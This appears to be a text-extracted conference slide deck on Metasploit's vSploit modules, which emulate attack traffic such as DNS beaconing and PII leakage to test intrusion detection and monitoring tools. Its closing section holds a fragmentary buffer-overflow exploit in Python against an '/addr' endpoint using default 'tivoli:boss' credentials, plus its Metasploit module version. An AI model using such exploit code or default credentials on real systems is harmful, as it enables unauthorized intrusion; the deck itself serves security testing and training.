Metasploit vSploit Modules

Marcus J. Carey
David “bannedit” Rude
Will Vandevanter
Outline

- Objective of vSploit Modules
- Metasploit Framework architecture
- What are Metasploit modules?
- vSploit modules
- vSploit and Intrusion Kill Chains
- Writing Metasploit Modules
- Live Demo
Metasploit overview

- Metasploit Project founded in 2003
- Open Source penetration testing platform based with over 1 million downloads in the past year
- Acquired by Rapid7 in 2009
- HD Moore joined Rapid7 as Chief Security Office and Chief Architect of Metasploit
- Rapid7 remains committed to the Community
- Metasploit Framework is the foundation for the commercial editions Metasploit Express and Metasploit Pro
Metasploit Framework Architecture

**LIBRARIES**
- Rex
- MSF Core
- MSF Base

**TOOLS**
- Console
- CLI
- GUI & Armitage
- RPC

**PLUGINS**
- Exploit
- Payload
- Encoder
- NOP
- Auxiliary

**MODULES**
- Rex
- MSF Core
- MSF Base
Metasploit Framework Architecture

**LIBRARIES**
- Rex
- MSF Core
- MSF Dose

**TOOLS**

**PLUGINS**

**INTERFACES**
- Console
- CLI
- GUI & Armitage
- RPC

**MODULES**
- Exploit
- Payload
- Encoder
- NOP
- Auxiliary
What are Metasploit Modules?

- More than just exploits
- **Payloads** – the “arbitrary code” you hear about in advisories
- **Encoders** – add entropy to payloads, remove bad characters
- **NOP** – create sophisticated nopsleds
- **Auxiliary** – Like an exploit module but without a payload
  - Underappreciated
Which would you pick for a training drill?

Live Ammo? Or Paint Balls?

= Live Exploits

= vSploit Modules
Introducing: vSploit Modules

- New spin on auxiliary modules
  - Focus on attack response emulation
  - Not intended for exploitation
  - Continues with Metasploit roots as security testing and validation framework
  - Allows organizations to understand their current security investment

- Stand-alone compatibility
  - No exploitation used
  - Possible to remove exploit modules if necessary in some environments
vSploit: Purpose

• Evaluate devices on their own merit
• Minimal traffic evasion
• Trigger alerts on purpose
• Ensure proper network device placement
• Test and train security staff
• Test security architecture without exploits
• Many network based security offering monitor network traffic for behavior
• Many devices are signature based
• Need to be placed on network properly to see interesting traffic
• Good test cases are hard to emulate
vSploit: Network Traffic Device

- IDS
- IPS
- DLP
- Firewalls
- Network Intelligence Devices
Security Monitoring

- ESIM
- Netflow collectors
- Other Log correlation devices (ie. Splunk)
- Network-based vulnerability analysis devices
IDS/IPS

- Signature-based
- Looks for known suspicious traffic
- SQL injections
- Attack responses
- Alert on suspicious behavior
Data Loss Prevention (Network Based)

- Similar to IDS
- Concerned with data leakage
- Personally Identifiable Information (PII)
  - Social security numbers
  - Payment information
- Protected Health Information (PHI)
  - Medical records
- PCI-related data
  - Credit card numbers
Enterprise Security Information Management (ESIM)

- Collects system logs
- Significant capital investment
- Provides correlation
- Provides reporting
- Key to most security operations efforts
vSploit: Interesting Traffic

Client Sends Request for Interesting Traffic and Designated Port

Network Traffic Analysis Device

MSF #1 Sends Signature Matching String

MSF
vSploit: Simulating Malicious DNS Queries

Metasploit sends out DNS Query to Internal DNS, i.e., Domain Controller

DNS Server

Logs

ESIM

MSF

foo.ru

foo.cn

foo.kp
Intrusion Kill Chains

Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains

Eric M. Hutchins; Michael J. Cloppert† Rohan M. Amin, Ph.D.‡
Lockheed Martin Corporation

Abstract

Conventional network defense tools such as intrusion detection systems and anti-virus focus on the vulnerability component of risk, and traditional incident response methodology presupposes a successful intrusion. An evolution in the goals and sophistication of computer network intrusions has rendered these approaches insufficient for certain actors. A new class of threats, appropriately dubbed the “Advanced Persistent Threat” (APT), represents well-resourced and trained adversaries that conduct multi-year intrusion campaigns targeting highly sensitive economic, proprietary, or national security information.
## Kill Chain – Course of Action Matrix

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Destroy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Web Analytics</td>
<td>Firewall ACL</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Weaponization</td>
<td>NIDS</td>
<td>NIPS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery</td>
<td>Vigilant user</td>
<td>Proxy Filter</td>
<td>In-line AV</td>
<td>Queuing</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploitation</td>
<td>HIDS</td>
<td>Patch</td>
<td>DEP</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Installation</td>
<td>HIDS</td>
<td><em>chroot</em> jail</td>
<td>AV</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C2</td>
<td>NIDS</td>
<td>Firewall ACL</td>
<td>NIPS</td>
<td>Tarpit</td>
<td>DNS redirect</td>
<td></td>
</tr>
<tr>
<td>Actions on Objectives</td>
<td>Audit log</td>
<td></td>
<td></td>
<td>Quality of Service</td>
<td>Honeypot</td>
<td></td>
</tr>
</tbody>
</table>

Source: Hutchins, Cloppert, Amin – Lockheed Martin
### vSploit Testing Detection Capabilities

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Destroy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Web Analytics</td>
<td>Firewall ACL</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Weaponization</td>
<td>NIDS</td>
<td>NIPS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery</td>
<td>Vigilant user</td>
<td>Proxy Filter</td>
<td>In-line AV</td>
<td>Queuing</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploitation</td>
<td>HIDS</td>
<td>Patch</td>
<td>DEP</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Installation</td>
<td>HIDS</td>
<td><em>chroot</em> jail</td>
<td>AV</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C2</td>
<td>NIDS</td>
<td>Firewall ACL</td>
<td>NIPS</td>
<td>Tarpit</td>
<td>DNS redirect</td>
<td></td>
</tr>
<tr>
<td>Actions on Objectives</td>
<td>Audit log</td>
<td></td>
<td></td>
<td></td>
<td>Quality of Service</td>
<td>Honeypot</td>
</tr>
</tbody>
</table>

Source: Hutchins, Cloppert, Amin – Lockheed Martin
<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Destroy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Web Analytics</td>
<td>Firewall ACL</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Weaponization</td>
<td>NIDS</td>
<td>NIPS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery</td>
<td>Vigilant user</td>
<td>Proxy Filter</td>
<td>In-line AV</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploitation</td>
<td>HIDS</td>
<td>Patch</td>
<td></td>
<td>DEP</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Installation</td>
<td>HIDS</td>
<td><em>chroot</em> jail</td>
<td></td>
<td>AV</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C2</td>
<td>NIDS</td>
<td>Firewall ACL</td>
<td></td>
<td>NIPS</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Actions on Objectives</td>
<td>Audit log</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Unable to perform tests in red.

Source: Hutchins, Cloppert, Amin – Lockheed Martin
vSploit: Web PII Module - Configuration

```ruby
msf > use auxiliary/vsploit/http/server/web_pii
msf auxiliary(web_pii) > show options

Module options (auxiliary/vsploit/http/server/web_pii):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ENTRIES</td>
<td>1000</td>
<td>no</td>
<td>PII Entry Count</td>
</tr>
<tr>
<td>META_REFRESH</td>
<td>false</td>
<td>no</td>
<td>Set page to auto refresh.</td>
</tr>
<tr>
<td>REFRESH_TIME</td>
<td>15</td>
<td>no</td>
<td>Set page refresh interval.</td>
</tr>
<tr>
<td>SRVHOST</td>
<td>0.0.0.0</td>
<td>yes</td>
<td>The local host to listen on. This must be an address on the local machine or 0.0.0.0.</td>
</tr>
<tr>
<td>SRVPORT</td>
<td>8080</td>
<td>yes</td>
<td>The local port to listen on.</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td>no</td>
<td>Negotiate SSL for incoming connections.</td>
</tr>
<tr>
<td>SSLCert</td>
<td></td>
<td>no</td>
<td>Path to a custom SSL certificate (default)</td>
</tr>
<tr>
<td>SSLVersion</td>
<td>SSL3</td>
<td>no</td>
<td>Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)</td>
</tr>
<tr>
<td>URIPATH</td>
<td></td>
<td>no</td>
<td>The URI to use for this exploit (default)</td>
</tr>
</tbody>
</table>

msf auxiliary(web_pii) >
```
vSploit Web PII Module - In Action

![Image of vSploit Web PII Module in action]

msf auxiliary(web_pii) > run

[*] Using URL: http://0.0.0.0:8080/UUqNU3NbKvKnG
[*] Local IP: http://192.168.188.10:8080/UUqNU3NbKvKnG
[*] Server started.
vSploit: HTTP File Download Server

```ruby
msf auxiliary(download) > set EXECUTABLE file:/tmp/payload.exe
EXECUTABLE => file:/tmp/payload.exe
msf auxiliary(download) > run

[*] Using URL: http://0.0.0.0:8080/X4QyRC
[*] Local IP: http://192.168.188.10:8080/X4QyRC
[*] Server started.
```
vSploit Web Beaconing - Configuration

```
msf auxiliary(dns_beacon) > use auxiliary/vsploit/dns/dns_beacon
msf auxiliary(dns_beacon) > show options

Module options (auxiliary/vsploit/dns/dns_beacon):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>COUNT</td>
<td>2</td>
<td>no</td>
<td>Number of intervals to loop</td>
</tr>
<tr>
<td>DELAY</td>
<td>3</td>
<td>no</td>
<td>Delay in seconds between intervals</td>
</tr>
<tr>
<td>DNS_SERVER</td>
<td>no</td>
<td></td>
<td>Specifies a DNS Server</td>
</tr>
<tr>
<td>DOMAINS</td>
<td>yes</td>
<td></td>
<td>Separate Domains by whitespace</td>
</tr>
</tbody>
</table>

msf auxiliary(dns_beacon) > set DOMAINS metasploit.com
msf auxiliary(dns_beacon) > set count 5
msf auxiliary(dns_beacon) >
```
vSployt: Web Beaconing – In Action

```
COUNT  2  no  Number of intervals to loop
DELAY  3  no  Delay in seconds between intervals
DNS_SERVER  no  Specifies a DNS Server
DOMAINS  yes  Separate Domains by whitespace

msf auxiliary(dns beacon) > set DOMAINS metasploit.com
msf auxiliary(dns beacon) > set count 5
msf auxiliary(dns beacon) > run

[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to Beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Waiting 3 seconds to Beacon
[*] DNS Query sent for => metasploit.com
[*] metasploit.com => 208.118.227.4
[*] Auxiliary module execution completed
msf auxiliary(dns beacon) >
```
vSploit: DNS Beaconing – Wireshark Analysis

[Image of Wireshark interface with DNS traffic logs]

- Wireshark screen showing DNS traffic captures with source and destination IP addresses.
vSploit: Vulnerable Headers

Data Creation by: vSploit Vulnerable Webserver Headers
Refresh Interval: 15 Seconds
Server: Apache/2.0.59

msf auxiliary(vuln_headers) > run

[*] Using URL: http://0.0.0.0:8080/yyOsLGrCRDAAX2u
[*] Local IP: http://192.168.188.10:8080/yyOsLGrCRDAAX2u
[*] Server started.
vSploit: Vulnerable Headers PCAP
Writing Metasploit Modules
Where to Learn Ruby

- [http://pine.fm/LearnToProgram/](http://pine.fm/LearnToProgram/)
- The Little Book of Ruby
- Humble Little Book of Ruby
- Metasploit Repository Documentation [http://r-7.co/iNmOBt](http://r-7.co/iNmOBt)
Auxiliary Module Basics

```ruby
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  def initialize
    super(
      'Name' => 'VSploit DNS Beaconing Emulation',
      'Version' => '$Revision$',
      'Description' => 'This module takes a list and emulates malicious DNS beaconing.',
      'Author' => 'MJC',
      'License' => MSF_LICENSE
    )

    register_options(
      [        
        OptString.new('DOMAINS', [true, "Separate Domains by whitespace"]),
        OptString.new('DNS_SERVER', [false, "Specifies a DNS Server"]),
        OptInt.new('COUNT', [false, "Number of intervals to loop", 2]),
        OptInt.new('DELAY', [false, "Delay in seconds between intervals", 3])
      ], self.class)

  end

  def run
    #res = Net::DNS::Resolver.new()
  end
```
def run
    @res = Net::DNS::Resolver.new()
    @res.retry = 2

    if datastore['DNS_SERVER']
        @res.nameservers = datastore['DNS_SERVER']
    end

    count = 0

    while count < datastore['COUNT']
        domain = datastore['DOMAINS'].split(/\s+/)
        domain.each do |name|
            query = @res.query(name, "A")
            time = Time.now
            time = time.strftime("%Y-%m-%d %H:%M:%S")
            print_status("#{(time)} - DNS Query sent for => #{name}")
            if query.answer.length == 0
                print_error("#{(time)} - #{name} => No Record Found")
            else
                a = query.answer[0].to_s.split(/\s+/)
                print_status("#{(time)} - #{name} => #{a[-1]}")
            end
        end

        unless count == (datastore['COUNT'] - 1)
            time = Time.now
            time = time.strftime("%Y-%m-%d %H:%M:%S")
            print_status("#{(time)} - Waiting #{datastore['DELAY']} seconds to beon")
            sleep datastore['DELAY']
        end
        count += 1
    end
end

Auxiliary Module: Code can be simple
Using IRB in Metasploit

```ruby
msf > irb
[*] Starting IRB shell...

>> @res = Net::DNS::Resolver.new()
=> #: RESOLVER state:
  #: config_file: /etc/resolv.conf  log_file: #<IO:0x993bb98>
  #: port: 53  searchlist: []
  #: nameservers: ["192.168.188.2"]  domain: ":"
  #: source_port: 0  source_address: 0.0.0.0
  #: retry_interval: 5  retry_number: 4
  #: recursive: true  defname: true
  #: dns_search: true  use_tcp: false
  #: ignore_truncated: false  packet_size: 512
  #: tcp_timeout: 120  udp_timeout: not defined

>> @res.query("metasploit.com","A")
=> #: Answer received from 192.168.188.2:53 (48 bytes)

  #: HEADER SECTION
  #: id = 40136
  #: qr = 1  opCode: QUERY  aa = 0  tc = 0  rd = 1
  #: ra = 1  ad = 0  cd = 0  rcode = NoError
  #: qdCount = 1  anCount = 1  nsCount = 0  arCount = 0

  #: QUESTION SECTION (1 record):
  #: metasploit.com.  IN  A

  #: ANSWER SECTION (1 record):
metasploit.com. 5 IN A 208.118.227.4

>>
```
Exploit Written in Python

```
import urllib
import urllib2

def main():
    if len(sys.argv) < 2:
        print("Usage: "+sys.argv[0]+" <target> [port]"
        sys.exit(0)

    target=sys.argv[1]
    if len(sys.argv) == 3:
        port=int(sys.argv[2])

    retaddr=struct.pack("<L",ret)

    data=urllib.urlencode({"test":junk+retaddr+payload})
    size=len(junk)+len(retaddr)+len(payload)+5 (also works with just ";")
    hdrs={"Host":"www.n","Content-Length":size,"Authorization":"Basic dGl2b2xpOM3x3M="} # tivoli:boss

    conn=httplib.HTTPConnection(target,port)
    conn.request("POST","/addr",data,hdrs)
    conn.close()

if __name__ == "__main__":
    main()
```

def exploit
    print_status("Trying target #{target.name}...")
    auth = Rex::Text.encode_base64("tivoli:boss")
    varname = rand_text_alpha(rand(10))

    sploit = make_nops(1) * 256
    sploit << [target.ret].pack('V')
    sploit << payload.encoded

    print_status("Sending request to #{datastore['RHOST']}:#(datastore['RPORT'])")
    res = send_request_cgi({
        'uri' => '/addr',
        'method' => 'POST',
        'headers' =>
        {
            'Authorization' => "Basic #{auth}"
        },
        'vars_post' =>
        {
            varname => sploit,
        },
    }, 5)
    handler
end
Where to put it...

- **Official modules live in** `msf3/modules/`  
  - Subdirectories organized by module type (`exploit/`, `auxiliary/`, `post/`, ...)
- `~/.msf3/modules/` has same structure, loaded at startup if it exists
- `~/.msf3/modules/auxiliary/vsploit` is the location for vSploit modules
Quick demos
vSploit Documentation

- vSploit documentation in Rapid7 Community
  - https://community.rapid7.com
Questions?

Marcus J. Carey
mjc@rapid7.com
@iFail

David “bannedit” Rude
bannedit@metasploit.com
@msfbannedit

Will Vandevanter
will@rapid7.com
@willis__ <- two underscores